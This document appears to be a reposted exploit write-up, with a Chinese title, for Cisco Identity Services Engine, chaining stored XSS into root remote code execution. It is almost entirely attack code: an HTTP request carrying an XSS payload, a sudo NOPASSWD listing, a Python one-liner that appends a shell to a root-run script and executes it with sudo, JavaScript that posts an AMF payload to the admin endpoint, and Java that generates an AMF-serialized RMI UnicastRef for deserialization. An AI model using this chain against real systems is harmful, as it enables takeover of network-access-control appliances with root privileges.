【漏洞利用】思科身份服务引擎中的多个漏洞（以 root 身份从 XSS 到 RCE）

GET /admin/LiveLogSettingsServlet?Action=read HTTP/1.1
HTTP/1.1 200 OKContent-Type: text/html;charset=UTF-8Content-Length: 164Server:  
<Settings><Columns><Col>1</Col></Columns><Rows><script>alert(1)</script></Rows><Refresh_rate>1337</Refresh_rate><Time_period>1337</Time_period></Settings>

 ...Unsupported AMF version XXXXX...

    (root) NOPASSWD: /opt/CSCOcpm/bin/resetMntDb.sh *    (root) NOPASSWD: /opt/CSCOcpm/bin/resetMnTSessDir.sh *    (root) NOPASSWD: /opt/CSCOcpm/bin/setdbpw.sh *    (root) NOPASSWD: /opt/CSCOcpm/bin/sync_export.sh *    (root) NOPASSWD: /opt/CSCOcpm/bin/sync_import.sh *    (root) NOPASSWD: /opt/CSCOcpm/bin/partial_sync_export.sh *    (root) NOPASSWD: /opt/CSCOcpm/bin/partial_sync_import.sh *    (root) NOPASSWD: /opt/CSCOcpm/bin/partial_sync_cleanup.sh *    (root) NOPASSWD: /opt/CSCOcpm/bin/ttcontrol.sh *    (root) NOPASSWD: /opt/CSCOcpm/bin/updatewallet.sh *    (root) NOPASSWD: /opt/CSCOcpm/bin/log-list.sh *    (root) NOPASSWD: /opt/CSCOcpm/bin/file-info.sh *    (root) NOPASSWD: /opt/CSCOcpm/bin/delete-log-file.sh *    (root) NOPASSWD: /opt/CSCOcpm/bin/debug-log-config.sh *    (root) NOPASSWD: /opt/CSCOcpm/bin/showinv.sh *    (root) NOPASSWD: /opt/CSCOcpm/bin/isebackupcancel.sh *    (root) NOPASSWD: /opt/CSCOcpm/bin/nssutils.sh *    (root) NOPASSWD: /opt/CSCOcpm/bin/killsubnetscan.sh *    (root) NOPASSWD: /opt/CSCOcpm/bin/thirdpartyguestvlan.sh *    (root) NOPASSWD: /opt/CSCOcpm/bin/ise-3rdpty-guestvlan.sh *    (root) NOPASSWD: /opt/CSCOcpm/mnt/bin/CheckDiskSpace.sh *    (root) NOPASSWD: /opt/CSCOcpm/upgrade/bin/genbackup.sh *    (root) NOPASSWD: /opt/CSCOcpm/upgrade/bin/createHCTOnPAPScript.sh *    (root) NOPASSWD: /opt/CSCOcpm/upgrade/bin/backupHostConfigTablesOnPAP.sh *    (root) NOPASSWD: /opt/CSCOcpm/upgrade/bin/dictionary_attribute_update.sh *    (root) NOPASSWD: /opt/CSCOcpm/upgrade/bin/deleteguest.sh *    (root) NOPASSWD: /opt/CSCOcpm/upgrade/bin/iseupgrade-dbexport.sh *    (root) NOPASSWD: /opt/CSCOcpm/bin/pxgrid_backup.sh *    (root) NOPASSWD: /opt/CSCOcpm/bin/pxgrid_restore.sh *    (root) NOPASSWD: /opt/CSCOcpm/bin/pxgrid_sync.sh *    (root) NOPASSWD: /opt/CSCOcpm/bin/pbis_monit.sh *    (root) NOPASSWD: /opt/CSCOcpm/prrt/bin/FIPS_lockdown.sh *    (root) NOPASSWD: /opt/CSCOcpm/bin/iseupgradeui.sh *    (root) NOPASSWD: /opt/CSCOcpm/bin/show_iowait.sh *    (root) NOPASSWD: /opt/CSCOcpm/bin/kerberosprobe.sh *    (root) NOPASSWD: /opt/CSCOcpm/bin/sxp-servercontrol.sh *

python -c 'import os;f=open("/opt/CSCOcpm/bin/file-info.sh", "a+", 0);f.write("if [ "$1" == 1337 ];thenn/bin/bashnfin");f.close();os.system("sudo /opt/CSCOcpm/bin/file-info.sh 1337")'

<script>function b64toBlob(b64Data, contentType, sliceSize) {  contentType = contentType || '';  sliceSize = sliceSize || 512;var byteCharacters = atob(b64Data);var byteArrays = [];for (var offset = 0; offset < byteCharacters.length; offset += sliceSize) {var slice = byteCharacters.slice(offset, offset + sliceSize);var byteNumbers = new Array(slice.length);for (var i = 0; i < slice.length; i++) {      byteNumbers[i] = slice.charCodeAt(i);    }var byteArray = new Uint8Array(byteNumbers);    byteArrays.push(byteArray);  }var blob = new Blob(byteArrays, {type: contentType});return blob;}b64_payload = 'cGlzc2FuZXNzZWN1';var xhr = new XMLHttpRequest();xhr.open("POST", 'https://10.10.10.44/admin/messagebroker/amfsecure', true);xhr.send(b64toBlob(b64_payload, 'application/x-amf')); </script>

package uk.co.agileinfosec.acsflex;
import flex.messaging.io.amf.MessageBody;import flex.messaging.io.amf.ActionMessage;import flex.messaging.io.SerializationContext;import flex.messaging.io.amf.AmfMessageSerializer;import java.io.*;
public class ACSFlex {public static void main(String[] args) {        Object unicastRef = generateUnicastRef(args[0], Integer.parseInt(args[1]));// serialize object to AMF messagetry {byte[] amf = new byte[0];            amf = serialize((unicastRef));            DataOutputStream os = new DataOutputStream(new FileOutputStream(args[2]));            os.write(amf);            System.out.println("Done, payload written to " + args[2]);        } catch (IOException e) {            e.printStackTrace();        }    }
public static Object generateUnicastRef(String host, int port) {        java.rmi.server.ObjID objId = new java.rmi.server.ObjID();        sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);        sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);return new sun.rmi.server.UnicastRef(liveRef);    }
public static byte[] serialize(Object data) throws IOException {        MessageBody body = new MessageBody();        body.setData(data);
        ActionMessage message = new ActionMessage();        message.addBody(body);
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        AmfMessageSerializer serializer = new AmfMessageSerializer();        serializer.initialize(SerializationContext.getSerializationContext(), out, null);        serializer.writeMessage(message);
return out.toByteArray();    }}